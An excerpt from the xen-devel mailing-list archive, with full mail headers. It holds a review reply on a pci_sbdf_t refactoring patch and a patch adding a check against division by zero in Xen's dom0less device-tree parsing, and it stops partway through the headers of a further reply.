X-Received: by 2002:a05:600c:529a:b0:493:cfd2:cd06 with SMTP id 5b1f17b1804b1-493df063deemr65242045e9.6.1783436566244;
        Tue, 07 Jul 2026 08:02:46 -0700 (PDT)
Message-ID: <ee54dd2a-d1f3-4144-911b-168fdb5a8722@suse.com>
Date: Tue, 7 Jul 2026 17:02:44 +0200
MIME-Version: 1.0
User-Agent: Mozilla Thunderbird
Subject: Re: [PATCH v3 10/18] vtd: Use pci_sbdf_t in acpi_parse_dev_scope()
To: Teddy Astie <teddy.astie@vates.tech>
Cc: Andrew Cooper <andrew.cooper3@citrix.com>,
 =?UTF-8?Q?Roger_Pau_Monn=C3=A9?= <roger.pau@citrix.com>,
 xen-devel@lists.xenproject.org
References: <cover.1782747421.git.teddy.astie@vates.tech>
 <1782753817.8631fc262581453bbf619ec5b2062170.19f1468731b000701b@vates.tech>
Content-Language: en-US
From: Jan Beulich <jbeulich@suse.com>
Autocrypt: addr=jbeulich@suse.com; keydata=
 xsDiBFk3nEQRBADAEaSw6zC/EJkiwGPXbWtPxl2xCdSoeepS07jW8UgcHNurfHvUzogEq5xk
 hu507c3BarVjyWCJOylMNR98Yd8VqD9UfmX0Hb8/BrA+Hl6/DB/eqGptrf4BSRwcZQM32aZK
 7Pj2XbGWIUrZrd70x1eAP9QE3P79Y2oLrsCgbZJfEwCgvz9JjGmQqQkRiTVzlZVCJYcyGGsD
 /0tbFCzD2h20ahe8rC1gbb3K3qk+LpBtvjBu1RY9drYk0NymiGbJWZgab6t1jM7sk2vuf0Py
 O9Hf9XBmK0uE9IgMaiCpc32XV9oASz6UJebwkX+zF2jG5I1BfnO9g7KlotcA/v5ClMjgo6Gl
 MDY4HxoSRu3i1cqqSDtVlt+AOVBJBACrZcnHAUSuCXBPy0jOlBhxPqRWv6ND4c9PH1xjQ3NP
 nxJuMBS8rnNg22uyfAgmBKNLpLgAGVRMZGaGoJObGf72s6TeIqKJo/LtggAS9qAUiuKVnygo
 3wjfkS9A3DRO+SpU7JqWdsveeIQyeyEJ/8PTowmSQLakF+3fote9ybzd880fSmFuIEJldWxp
 Y2ggPGpiZXVsaWNoQHN1c2UuY29tPsJgBBMRAgAgBQJZN5xEAhsDBgsJCAcDAgQVAggDBBYC
 AwECHgECF4AACgkQoDSui/t3IH4J+wCfQ5jHdEjCRHj23O/5ttg9r9OIruwAn3103WUITZee
 e7Sbg12UgcQ5lv7SzsFNBFk3nEQQCACCuTjCjFOUdi5Nm244F+78kLghRcin/awv+IrTcIWF
 hUpSs1Y91iQQ7KItirz5uwCPlwejSJDQJLIS+QtJHaXDXeV6NI0Uef1hP20+y8qydDiVkv6l
 IreXjTb7DvksRgJNvCkWtYnlS3mYvQ9NzS9PhyALWbXnH6sIJd2O9lKS1Mrfq+y0IXCP10eS
 FFGg+Av3IQeFatkJAyju0PPthyTqxSI4lZYuJVPknzgaeuJv/2NccrPvmeDg6Coe7ZIeQ8Yj
 t0ARxu2xytAkkLCel1Lz1WLmwLstV30g80nkgZf/wr+/BXJW/oIvRlonUkxv+IbBM3dX2OV8
 AmRv1ySWPTP7AAMFB/9PQK/VtlNUJvg8GXj9ootzrteGfVZVVT4XBJkfwBcpC/XcPzldjv+3
 HYudvpdNK3lLujXeA5fLOH+Z/G9WBc5pFVSMocI71I8bT8lIAzreg0WvkWg5V2WZsUMlnDL9
 mpwIGFhlbM3gfDMs7MPMu8YQRFVdUvtSpaAs8OFfGQ0ia3LGZcjA6Ik2+xcqscEJzNH+qh8V
 m5jjp28yZgaqTaRbg3M/+MTbMpicpZuqF4rnB0AQD12/3BNWDR6bmh+EkYSMcEIpQmBM51qM
 EKYTQGybRCjpnKHGOxG0rfFY1085mBDZCH5Kx0cl0HVJuQKC+dV2ZY5AqjcKwAxpE75MLFkr
 wkkEGBECAAkFAlk3nEQCGwwACgkQoDSui/t3IH7nnwCfcJWUDUFKdCsBH/E5d+0ZnMQi+G0A
 nAuWpQkjM1ASeQwSHEeAWPgskBQL
In-Reply-To: <1782753817.8631fc262581453bbf619ec5b2062170.19f1468731b000701b@vates.tech>
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 7bit
X-purgate-ID: tlsNG-16d1c6/1783436566-42F2468D-165D484C/0/0
X-purgate-type: clean
X-purgate-size: 1837

On 29.06.2026 19:21, Teddy Astie wrote:
> Use a dedicated pci_sbdf_t struct that we update instead of recreating
> one each time we need it.
> 
> Signed-off-by: Teddy Astie <teddy.astie@vates.tech>

Acked-by: Jan Beulich <jbeulich@suse.com>
albeit preferably with ...

> @@ -1195,8 +1177,9 @@ int cf_check intel_iommu_get_reserved_device_memory(
>  static int __init cf_check parse_rmrr_param(const char *str)
>  {
>      const char *s = str, *cur, *stmp;
> -    unsigned int seg, bus, dev, func, dev_count;
> +    unsigned int dev_count;
>      unsigned long start, end;
> +    pci_sbdf_t sbdf;

... this new variable moved to ...

> @@ -1233,7 +1216,7 @@ static int __init cf_check parse_rmrr_param(const char *str)
>          do {
>              bool def_seg = false;
>  
> -            stmp = parse_pci_seg(s + 1, &seg, &bus, &dev, &func, &def_seg);
> +            stmp = parse_pci_seg(s + 1, &sbdf, &def_seg);
>              if ( !stmp )
>                  return -EINVAL;
>  
> @@ -1242,12 +1225,11 @@ static int __init cf_check parse_rmrr_param(const char *str)
>               * Segment will be replaced with one from first device.
>               */
>              if ( user_rmrrs[nr_rmrr].dev_count && def_seg )
> -                seg = PCI_SEG(user_rmrrs[nr_rmrr].sbdf[0]);
> +                sbdf.seg = PCI_SEG(user_rmrrs[nr_rmrr].sbdf[0]);
>  
>              /* Keep sbdf's even if they differ and later report an error. */
>              dev_count = user_rmrrs[nr_rmrr].dev_count;
> -            user_rmrrs[nr_rmrr].sbdf[dev_count] =
> -               PCI_SBDF(seg, bus, dev, func).sbdf;
> +            user_rmrrs[nr_rmrr].sbdf[dev_count] = sbdf.sbdf;
>  
>              user_rmrrs[nr_rmrr].dev_count++;
>              s = stmp;

... the narrow-most scope it's used in.

Jan


From xen-devel-bounces@lists.xenproject.org Tue Jul 07 15:16:45 2026
Return-path: <xen-devel-bounces@lists.xenproject.org>
Envelope-to: archives@lists.xen.org
Delivery-date: Tue, 07 Jul 2026 15:16:45 +0000
Received: from list by lists.xenproject.org with outflank-mailman.1356339.1610972 (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wh7XJ-0007xp-Ti; Tue, 07 Jul 2026 15:16:37 +0000
X-Outflank-Mailman: Message body and most headers restored to incoming version
Received: by outflank-mailman (output) from mailman id 1356339.1610972; Tue, 07 Jul 2026 15:16:37 +0000
Received: from localhost ([127.0.0.1] helo=lists.xenproject.org)
	by lists.xenproject.org with esmtp (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wh7XJ-0007xi-Qq; Tue, 07 Jul 2026 15:16:37 +0000
Received: by outflank-mailman (input) for mailman id 1356339;
 Tue, 07 Jul 2026 15:16:36 +0000
Received: from mx.expurgate.net ([194.145.224.10])
 by lists.xenproject.org with esmtp (Exim 4.92)
 (envelope-from <dmytro_prokopchuk1@epam.com>) id 1wh7XI-0007xc-4S
 for xen-devel@lists.xenproject.org; Tue, 07 Jul 2026 15:16:36 +0000
Received: from mx.expurgate.net (helo=localhost) by mx.expurgate.net with esmtp
 id 1wh7XG-007usg-LD
 for xen-devel@lists.xenproject.org; Tue, 07 Jul 2026 17:16:34 +0200
Received: from [10.42.69.4] (helo=localhost)
 by localhost with ESMTP (eXpurgate MTA 0.9.1)
 (envelope-from <dmytro_prokopchuk1@epam.com>)
 id 6a4d184f-5cb7-0a2a0a5109dd-0a2a4504df0c-18
 for <xen-devel@lists.xenproject.org>; Tue, 07 Jul 2026 17:16:34 +0200
Received: from [40.107.162.78]
 (helo=PA4PR04CU001.outbound.protection.outlook.com)
 by tlsNG-ebf023.mxtls.expurgate.net with ESMTPS (eXpurgate 4.57.1)
 (envelope-from <dmytro_prokopchuk1@epam.com>)
 id 6a4d1851-a01d-0a2a45040019-286ba24e566f-3
 for <xen-devel@lists.xenproject.org>; Tue, 07 Jul 2026 17:16:34 +0200
Received: from AM9PR03MB7526.eurprd03.prod.outlook.com (2603:10a6:20b:3de::17)
 by GV2PR03MB11523.eurprd03.prod.outlook.com (2603:10a6:150:320::11)
 with Microsoft SMTP Server (version=TLS1_2,
 cipher=TLS_ECDHE_RSA_WITH_AES_256_GCM_SHA384) id 15.21.181.8; Tue, 7 Jul 2026
 15:16:31 +0000
Received: from AM9PR03MB7526.eurprd03.prod.outlook.com
 ([fe80::904d:5820:80e1:41ba]) by AM9PR03MB7526.eurprd03.prod.outlook.com
 ([fe80::904d:5820:80e1:41ba%5]) with mapi id 15.21.0181.012; Tue, 7 Jul 2026
 15:16:31 +0000
X-BeenThere: xen-devel@lists.xenproject.org
List-Id: Xen developer discussion <xen-devel.lists.xenproject.org>
List-Unsubscribe: <https://lists.xenproject.org/mailman/options/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=unsubscribe>
List-Post: <mailto:xen-devel@lists.xenproject.org>
List-Help: <mailto:xen-devel-request@lists.xenproject.org?subject=help>
List-Subscribe: <https://lists.xenproject.org/mailman/listinfo/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=subscribe>
Errors-To: xen-devel-bounces@lists.xenproject.org
Precedence: list
Sender: "Xen-devel" <xen-devel-bounces@lists.xenproject.org>
Authentication-Results: eu.smtp.expurgate.cloud; dkim=pass header.s=selector1 header.d=epam.com header.i="@epam.com" header.h="From:Date:Subject:Message-ID:Content-Type:MIME-Version:x-ms-exchange-senderadcheck"
ARC-Seal: i=1; a=rsa-sha256; s=arcselector10001; d=microsoft.com; cv=none;
 b=uIFPCZDjV1YSlHtepxCV4vezJlAWBeeRJYJAluYs0Jy46vazuTtInzywGoxUnMcVNH9vJAomRusfIiau+beAvtPJU24SxIvg1AL1iuy5C7m7d2IIePSWIctGlz2Oms0Ys1z/swGpgKfhdhgBQ/LwBSAa+oFK2+8b5f9m1UOea4F/pKbaCvGSWCdHYVjk+h2/N+8MZugliwKEqW4QymL4EJsLJGczvfJfPZz94AF/rJii/JKFwC0W+Z75Ir6MdhFi7ONUwIR4WOV3lrcFzpSEmoA1COm2GHQ0PNuz3Rm4AnG2AAfqoG8bdUdp7uyOvgYB3PTaQuOWig0OuNkNcxyLTg==
ARC-Message-Signature: i=1; a=rsa-sha256; c=relaxed/relaxed; d=microsoft.com;
 s=arcselector10001;
 h=From:Date:Subject:Message-ID:Content-Type:MIME-Version:X-MS-Exchange-AntiSpam-MessageData-ChunkCount:X-MS-Exchange-AntiSpam-MessageData-0:X-MS-Exchange-AntiSpam-MessageData-1;
 bh=kRQt5BmN7D/iyyK46Ikpo+PNXru/dALXtPZtBI7Jja4=;
 b=LZSVdP3JN4pdLB4/ZjMKdbVH/e/P+EDp1rY9tC3j9RKtFUcB1Ti6qE3NR6+XvjYpqEWAcSOzNoztYe9xP/4oqOw+7aKCOp2rq8He5lTNUOao+8bpZ+regwo1JRorNmoair1xzU8+UggTCHsEilSNr3l/Jq3VoNTArKH8mpxFghT6sTkmIEScPIVhUrWGitzeLfFbePs/ZVRUHVV1bhWpz2inOrUhBMn3QSkLrXTSNmR4sg+cGExWRu4S+CTJ6nXJJhELUA6eH4AGCSnpLCh2vj8lSFxSZO7cqVFpDYDzJnEIbanPedudmQLqMUHLOEb5BwbMOutnG3hBVTzptdj+DQ==
ARC-Authentication-Results: i=1; mx.microsoft.com 1; spf=pass
 smtp.mailfrom=epam.com; dmarc=pass action=none header.from=epam.com;
 dkim=pass header.d=epam.com; arc=none
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=epam.com; s=selector1;
 h=From:Date:Subject:Message-ID:Content-Type:MIME-Version:X-MS-Exchange-SenderADCheck;
 bh=kRQt5BmN7D/iyyK46Ikpo+PNXru/dALXtPZtBI7Jja4=;
 b=S7DYu/djuXJzDVh/LPYL91/Gi/7+/RmK8tscg5sYtxd9LoHNU7O0S+iZcFyN292IEpqB0c7qT69FJbdXMz/Z5kwaTPC32iileKhSegcAjchuyhsTZ+do15ZcHc3X+hvk5siULAP2CQrcwPwYItAncB2XIEA1WY4ga6w1I5+YsI2ef0F46uVhzZKumHIfMavGbCY394qEm9UAKfzsASK4/sVtfBRugwYhaHuGRoNmPK+mli7lTBaQcUBp2+2mhyMMPkEv1qZQ9tyFrcViHJGizrC+EOx0MwzLBRWHIIGdXlf6KYyox90CJElawOEx/MDod17iIq9qtAEjO0DqMbxQSA==
From: Dmytro Prokopchuk1 <dmytro_prokopchuk1@epam.com>
To: "xen-devel@lists.xenproject.org" <xen-devel@lists.xenproject.org>
CC: Dmytro Prokopchuk1 <dmytro_prokopchuk1@epam.com>, Stefano Stabellini
	<sstabellini@kernel.org>, Julien Grall <julien@xen.org>, Bertrand Marquis
	<bertrand.marquis@arm.com>, Michal Orzel <michal.orzel@amd.com>
Subject: [PATCH for-4.22] dom0less: Prevent division by zero in
 handle_passthrough_prop()
Thread-Topic: [PATCH for-4.22] dom0less: Prevent division by zero in
 handle_passthrough_prop()
Thread-Index: AQHdDiOX7r4PlObs6ESPVB8UpORlsw==
Date: Tue, 7 Jul 2026 15:16:31 +0000
Message-ID:
 <cce2493855ce3b610a2d36cbcd149292254170aa.1783436517.git.dmytro_prokopchuk1@epam.com>
Accept-Language: en-US, uk-UA, ru-RU
Content-Language: en-US
X-MS-Has-Attach:
X-MS-TNEF-Correlator:
authentication-results: dkim=none (message not signed)
 header.d=none;dmarc=none action=none header.from=epam.com;
x-ms-publictraffictype: Email
x-ms-traffictypediagnostic: AM9PR03MB7526:EE_|GV2PR03MB11523:EE_
x-ms-office365-filtering-correlation-id: ff41c76f-5d68-472e-c072-08dedc3ab9a9
x-ms-exchange-senderadcheck: 1
x-ms-exchange-antispam-relay: 0
x-microsoft-antispam:
 BCL:0;ARA:13230040|1800799024|376014|42112799006|23010399003|366016|18002099003|38070700021|3023799007|11063799006|56012099006;
x-microsoft-antispam-message-info:
 CcMrvRuPu4JlJhiZ2brpR24EnDEtKA0CGvrrRCFHdPc8v8R1zmezi32uqK4MfeSzq21VOq7P//ky6BsWhhDWgnc3rpfhoyY7yiLGGKu6+aC5++f1hiIjCGYagWlYLikSGwd+IzILiRJSw9pZGc5MMUxdoK/qPl54UZHtMdWRkTHWK4WaA2WfMD5S5nZpIoUx9In+fmeOGmd/B6JDWx9wJ4T07IaZ7WCB1D5iePyvQxkx9KjusnwzA+LF2VBxNlBy8iS2801DuZaYTBItKtqfB41FhiIrQDxXG5T3gMnkgwUCWOfm3l6JCc5xDOUa0jmkdQ4Uhx5wNlhdniBVzkbZAa7cu0e1nRuBMBBlNklitIFBb+Hpxss309xEXksAvHueIKEAgbiWI2TLMB+sRbSYwPq//xzUhhM+zz41LlODd2mr57tz2tcoo7IihfZVURuJIr4IeO8eMZ+sDqAa9TnrV8hWC14Kf5EJRirW3s9wOgqKqSMEXZxnjNAVueGnddkLM9wo7qRYluj6tcTFWyy1A+9Ukggma35bjFDBv52VlTA+BxViDI/+33Kqd5ntbtUeeXws0Mo6hJWYXKugs6MjjxTEwMH382thVU3XxBR7MjG9ymb6PS9Qw+ahS2Zc2NBmGwsgIixhU7o+HRu9HrG226xx+LApT85i9yrHxJZNAwMAmQLxHGRIHI64hqNI63fv4aIiI0ZC/b1zQyoWZVpLheBDl+gfY0cVWl7GdJtOTQA=
x-forefront-antispam-report:
 CIP:255.255.255.255;CTRY:;LANG:en;SCL:1;SRV:;IPV:NLI;SFV:NSPM;H:AM9PR03MB7526.eurprd03.prod.outlook.com;PTR:;CAT:NONE;SFS:(13230040)(1800799024)(376014)(42112799006)(23010399003)(366016)(18002099003)(38070700021)(3023799007)(11063799006)(56012099006);DIR:OUT;SFP:1102;
x-ms-exchange-antispam-messagedata-chunkcount: 1
x-ms-exchange-antispam-messagedata-0:
 =?iso-8859-1?Q?6MAZnI8BgytSzMlNKcz1c6gUitFLE+J4bjc09Jk5oLq422MIPWO43+eysx?=
 =?iso-8859-1?Q?WF0gWBkVEqa/ffLY7MOwfI4Z9XGS8Nx6Jz7fwQ0eVMsmPSPab8lsuTrjHM?=
 =?iso-8859-1?Q?U+swI9LZ/k88uDI/7LRBNO+jFpVRkZbX55RQZFmugCoVkphidpmEekCH+r?=
 =?iso-8859-1?Q?6QJUBpUci3VN6AkxmIjJGcfVu7Yfm2F0SK3i+zGaIVMzH0mMoyaHIVoJo5?=
 =?iso-8859-1?Q?yksZG8AS700mk2+b108x2yKVOHI2m/m/a95Gyge5Au1YxgPEpeCMtjjKYr?=
 =?iso-8859-1?Q?Uw32NIx3JQUAHCJwOW9Zw6NLEzWHSelUe+1rpZ2IOarmzIvXd+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8859-1?Q?sBqa/iGkpQusHp7u90m7Z1tGjlEDE2tscv84SlZ9JCn4maei5Y6xrWw4R4?=
 =?iso-8859-1?Q?CsLQR73kDcqT5H4In+qjuNIn5xeCipDp/E6P5of5fNCY5X+NmYRvUCgICl?=
 =?iso-8859-1?Q?6/QReuxxyvEaBRoR1SAw26y8xD0YNDXyYrT8yPEyYsXjKvufvMpkfBGLek?=
 =?iso-8859-1?Q?yQjNwBD5iKtF+iBDR2UgzPEbZKHd1T5YZz94JupGG/c3sY/YeSrCDu7SRO?=
 =?iso-8859-1?Q?BnuHbHBPH4dfrYprrZV6qasfBTx3OfggOkL1wz1vrw18gq254iXf2TmnWR?=
 =?iso-8859-1?Q?wYSBFXPrz+Bg87Jtjr33mWfBJaIwNYmgJ9qoR+mQj5qsCYZ4LkqPT/e5Ty?=
 =?iso-8859-1?Q?EAw+Lb9Kdi4lZUCxhF+nlkX6gROaBNYFQxXkp03hY7uD4WuwJKUkYNdInF?=
 =?iso-8859-1?Q?7ZMH662GRXyWWPb0MqZ2eBj3QtKmp+tKNcmGNOSDfyE7zOaXFIU5PqtrA5?=
 =?iso-8859-1?Q?arRdSGaxG0gfduEYCNC5hDp5MaJnPEXKdAObx9uqFg51VsbbtXL4JMxDQq?=
 =?iso-8859-1?Q?HviJiplkZlH/KvmYxcfC+kPmmBg9J/zdjXFhdD0wUK69yTfhzuMNL/BNRw?=
 =?iso-8859-1?Q?uMEHT5m4niz+Hz7Mx4PFXd9QFd3fX7M=3D?=
Content-Type: text/plain; charset="iso-8859-1"
Content-Transfer-Encoding: quoted-printable
MIME-Version: 1.0
X-OriginatorOrg: epam.com
X-MS-Exchange-CrossTenant-AuthAs: Internal
X-MS-Exchange-CrossTenant-AuthSource: AM9PR03MB7526.eurprd03.prod.outlook.com
X-MS-Exchange-CrossTenant-Network-Message-Id: ff41c76f-5d68-472e-c072-08dedc3ab9a9
X-MS-Exchange-CrossTenant-originalarrivaltime: 07 Jul 2026 15:16:31.3892
 (UTC)
X-MS-Exchange-CrossTenant-fromentityheader: Hosted
X-MS-Exchange-CrossTenant-id: b41b72d0-4e9f-4c26-8a69-f949f367c91d
X-MS-Exchange-CrossTenant-mailboxtype: HOSTED
X-MS-Exchange-CrossTenant-userprincipalname: Hvtmh3eVbU+sjgfkxzY+HODbCFhWSW7KfdnbgQUILef7dIMLDnhItpUfQUqVWOCi10RLwYUBzWrBVkA1KLgvBpakJbGiZ9PcV2aSKoBpQQA=
X-MS-Exchange-Transport-CrossTenantHeadersStamped: GV2PR03MB11523
X-purgate-ID: tlsNG-ebf023/1783437394-AFD241CC-947CDFDB/0/0
X-purgate-type: clean
X-purgate-size: 1655

A malformed provided partial DTB specifying both '#address-cells =3D <0>'
and '#size-cells =3D <0>' causes '(address_cells * 2 + size_cells)' to
evaluate to 0. This sum is subsequently used as a divisor when calculating
the number of regions in the 'xen,reg' property:

    len =3D fdt32_to_cpu(xen_reg->len) / ((address_cells * 2 + size_cells) =
*
                                        sizeof(uint32_t));

This leads to a division by zero exception in the Xen hypervisor during
boot, causing a hypervisor panic/crash.

Fix this by validating that '(address_cells * 2 + size_cells)' is greater
than zero before performing the division. If it is zero, log an error
message and return -EINVAL.

Signed-off-by: Dmytro Prokopchuk <dmytro_prokopchuk1@epam.com>
---
 xen/common/device-tree/dom0less-build.c | 7 +++++++
 1 file changed, 7 insertions(+)

diff --git a/xen/common/device-tree/dom0less-build.c b/xen/common/device-tr=
ee/dom0less-build.c
index eacfd93087..6796851844 100644
--- a/xen/common/device-tree/dom0less-build.c
+++ b/xen/common/device-tree/dom0less-build.c
@@ -154,6 +154,13 @@ static int __init handle_passthrough_prop(struct kerne=
l_info *kinfo,
=20
     /* xen,reg specifies where to map the MMIO region */
     cell =3D (const __be32 *)xen_reg->data;
+
+    if ( (address_cells * 2 + size_cells) =3D=3D 0 )
+    {
+        printk(XENLOG_ERR "Invalid address/size cells combination (both 0)=
\n");
+        return -EINVAL;
+    }
+
     len =3D fdt32_to_cpu(xen_reg->len) / ((address_cells * 2 + size_cells)=
 *
                                         sizeof(uint32_t));
=20
--=20
2.43.0


From xen-devel-bounces@lists.xenproject.org Tue Jul 07 15:37:44 2026
Return-path: <xen-devel-bounces@lists.xenproject.org>
Envelope-to: archives@lists.xen.org
Delivery-date: Tue, 07 Jul 2026 15:37:44 +0000
Received: from list by lists.xenproject.org with outflank-mailman.1356347.1610981 (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wh7rc-0002h0-HT; Tue, 07 Jul 2026 15:37:36 +0000
X-Outflank-Mailman: Message body and most headers restored to incoming version
Received: by outflank-mailman (output) from mailman id 1356347.1610981; Tue, 07 Jul 2026 15:37:36 +0000
Received: from localhost ([127.0.0.1] helo=lists.xenproject.org)
	by lists.xenproject.org with esmtp (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wh7rc-0002gt-Du; Tue, 07 Jul 2026 15:37:36 +0000
Received: by outflank-mailman (input) for mailman id 1356347;
 Tue, 07 Jul 2026 15:37:35 +0000
Received: from mx.expurgate.net ([194.145.224.10])
 by lists.xenproject.org with esmtp (Exim 4.92)
 (envelope-from <jbeulich@suse.com>) id 1wh7rb-0002fg-DJ
 for xen-devel@lists.xenproject.org; Tue, 07 Jul 2026 15:37:35 +0000
Received: from mx.expurgate.net (helo=localhost) by mx.expurgate.net with esmtp
 id 1wh7rZ-00EJvQ-JC
 for xen-devel@lists.xenproject.org; Tue, 07 Jul 2026 17:37:33 +0200
Received: from [10.42.69.7] (helo=localhost)
 by localhost with ESMTP (eXpurgate MTA 0.9.1)
 (envelope-from <jbeulich@suse.com>)
 id 6a4d1d32-5cb7-0a2a0a5109dd-0a2a4507cb0a-16
 for <xen-devel@lists.xenproject.org>; Tue, 07 Jul 2026 17:37:33 +0200
Received: from [209.85.221.42] (helo=mail-wr1-f42.google.com)
 by tlsNG-ef75cf.mxtls.expurgate.net with ESMTPS (eXpurgate 4.57.1)
 (envelope-from <jbeulich@suse.com>)
 id 6a4d1d3d-9c8e-0a2a45070019-d155dd2ad1ff-3
 for <xen-devel@lists.xenproject.org>; Tue, 07 Jul 2026 17:37:33 +0200
Received: by mail-wr1-f42.google.com with SMTP id
 ffacd0b85a97d-471eeac43bfso4642455f8f.3
 for <xen-devel@lists.xenproject.org>; Tue, 07 Jul 2026 08:37:33 -0700 (PDT)
Received: from [10.156.60.236] (ip-037-024-206-209.um08.pools.vodafone-ip.de.
 [37.24.206.209]) by smtp.gmail.com with ESMTPSA id
 ffacd0b85a97d-47a9e4d83bdsm35499345f8f.13.2026.07.07.08.37.32
 (version=TLS1_3 cipher=TLS_AES_128_GCM_SHA256 bits=128/128);
 Tue, 07 Jul 2026 08:37:32 -0700 (PDT)
X-BeenThere: xen-devel@lists.xenproject.org
List-Id: Xen developer discussion <xen-devel.lists.xenproject.org>
List-Unsubscribe: <https://lists.xenproject.org/mailman/options/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=unsubscribe>
List-Post: <mailto:xen-devel@lists.xenproject.org>
List-Help: <mailto:xen-devel-request@lists.xenproject.org?subject=help>
List-Subscribe: <https://lists.xenproject.org/mailman/listinfo/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=subscribe>
Errors-To: xen-devel-bounces@lists.xenproject.org
Precedence: list
Sender: "Xen-devel" <xen-devel-bounces@lists.xenproject.org>
Authentication-Results: eu.smtp.expurgate.cloud; dkim=pass header.s=google header.d=suse.com header.i="@suse.com" header.h="Content-Transfer-Encoding:Content-Type:In-Reply-To:Autocrypt:From:Content-Language:References:Cc:To:Subject:User-Agent:MIME-Version:Date:Message-ID"
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=suse.com; s=google; t=1783438653; x=1784043453; darn=lists.xenproject.org;
        h=content-transfer-encoding:content-type:in-reply-to:autocrypt:from
         :content-language:references:cc:to:subject:user-agent:mime-version
         :date:message-id:from:to:cc:subject:date:message-id:reply-to
         :content-type;
        bh=Jh/o0Vre19w4FX+1VBEQcsOTLnDXfBCS+Im2YqL2Yv8=;
        b=MWBfaTtgcAFzxfjJH2mh8r/ij4xgkxbmm0O0fzwVm1gLa1QTk0IDeQjtklzb3pF5ys
         JgHtqk8/hmugdQutkGVss2pQm3fB/zHlxYw6uLO15r7RRJj54VlmBQUGKw0vcN3znEJ7
         0cCRL2uIeNcAmg/IKY/JGoKmm9oFQ3rubFtKwykaHu7SigRbN8RvGnlQDGsEFViQNrkE
         CWinveKmoWd1Cz+a/L8wtqewJX0fBpM+s+asuKs9iNQ8Zbeu3EWEpb/0+ds9FudwiD8P
         wPJ1zhfhMf160HUhXsxfIqRewKYaCQ2h75RLu1BLRaYVE8yAZVkqc6ilPlFSl7QQK+z+
         cC8Q==
X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=1e100.net; s=20251104; t=1783438653; x=1784043453;
        h=content-transfer-encoding:content-type:in-reply-to:autocrypt:from
         :content-language:references:cc:to:subject:user-agent:mime-version
         :date:message-id:x-gm-gg:x-gm-message-state:from:to:cc:subject:date
         :message-id:reply-to:content-type;
        bh=Jh/o0Vre19w4FX+1VBEQcsOTLnDXfBCS+Im2YqL2Yv8=;
        b=ZvrO+itr6k6nO4G2O2IjpO9S7DmIVKaPceDuIqnLCm0nP2sYbVapILPqihffxJcXcc
         4i3LIGSiKvQIkwtuEUutClSKI/RDvyT3fXnRlHMldFxCtn+NASTegDNzqrSHnaosgZRk
         7CPOCIVOh1+Van3sGU+mDBa2mOe/vlJ2Webai4vZhDcD4Lh3FDlH4Xc4178ymCX7MAKJ
         bj+wy0JAVRk4x57WA8rwdDdIw87WEfQ42TItvqP8havs/ejH1YUcu7Cyxwcp0dtAvPNs
         ft0jgGUhYaHwDoOBn8g3ilwfGsBcsPkJNhY/w5MF/+PUFY1ZQ0yylOEULj1cNcT8hc+s
         K76A==
X-Forwarded-Encrypted: i=1; AHgh+Rrj1yBgIc3e+KS6Eu29C/ZTaWREsyjfEoFsLzo3WoUBA8i2rIvX9BH/8sYL5MqIOQCJEaicR97WBwA=@lists.xenproject.org
X-Gm-Message-State: AOJu0Yxk3kLEsEMyclBf5/bnegp083GxBmKT5zhqyE/+iL6zrqqYYjRe
	fyOLVIpZDEdK3xEkqEeSPNvMAYiJyjCcXBSjwnXZDSlMZ9/ZEkG6yXvlqqB6IhBg4Q==
X-Gm-Gg: AfdE7clsIM3CLwn03C/IyaIeY6cXsqWE1QsBsJfy0sIFVgFhfCEnY+TD73kCp6SGkyQ
	Gma8Dty9TIebtDb4Z0HChC/r77NnZYe3Xq89y0KtWwts1EDvlvyZVIbO5OZDfzzKo5dXG/iShyo
	EVs6AT4exevi5BNXN+xeUT7EcRtXh1hDSvhXLdbIhYDW2zQ5TXDaCu0iF/gydOFcNQjdl2IQtpg
	8D6kGAGSls5+7o1n9jA/CCxmMdB80pjdetPD4/M3/oIe7eIfqXX7TfHaCd0MAFjV+spHcXGax14
	UJLQDV0kqCtJJy1OoBoiaHMFOXZj+5Z1cs6f406HtwNOFat5CYy0PJ3dxVpLv6n+JHb40JxpKKg
	3UIrBUXaI0deyCdocyxbbd4xDWPSxzfX/IKi/R2iDPOOF9fPA3u8cfRdhnNtYmV/ColZq8lmOMo
	0cmBssxEwpyGfPnr9lkTwy81ywuhYzOFdRcXAjwy6Yi3pWjE1yaxeVH1AHdjn19HU0tbxnGWucA
	E0F
X-Received: by 2002:a05:6000:25c2:b0:477:b22:488d with SMTP id ffacd0b85a97d-47de669bb02mr6619318f8f.10.1783438652687;
        Tue, 07 Jul 2026 08:37:32 -0700 (PDT)
Message-ID: <33826f47-0601-45ad-8ec4-26d038a73ee0@suse.com>
Date: Tue, 7 Jul 2026 17:37:31 +0200
MIME-Version: 1.0
User-Agent: Mozilla Thunderbird
Subject: Re: [PATCH v3 11/18] drivers/char/xhci: Parse into pci_sbdf_t
 directly
To: Teddy Astie <teddy.astie@vates.tech>
Cc: Andrew Cooper <andrew.cooper3@citrix.com>,
 Anthony PERARD <anthony.perard@vates.tech>,
 Michal Orzel <michal.orzel@amd.com>, Julien Grall <julien@xen.org>,
 =?UTF-8?Q?Roger_Pau_Monn=C3=A9?= <roger.pau@citrix.com>,
 Stefano Stabellini <sstabellini@kernel.org>, xen-devel@lists.xenproject.org
References: <cover.1782747421.git.teddy.astie@vates.tech>
 <1782753819.8631fc262581453bbf619ec5b2062170.19f14687ad3000701b@vates.tech>
Content-Language: en-US
From: Jan Beulich <jbeulich@suse.com>
Autocrypt: addr=jbeulich@suse.com; keydata=
 xsDiBFk3nEQRBADAEaSw6zC/EJkiwGPXbWtPxl2xCdSoeepS07jW8UgcHNurfHvUzogEq5xk
 hu507c3BarVjyWCJOylMNR98Yd8VqD9UfmX0Hb8/BrA+Hl6/DB/eqGptrf4BSRwcZQM32aZK
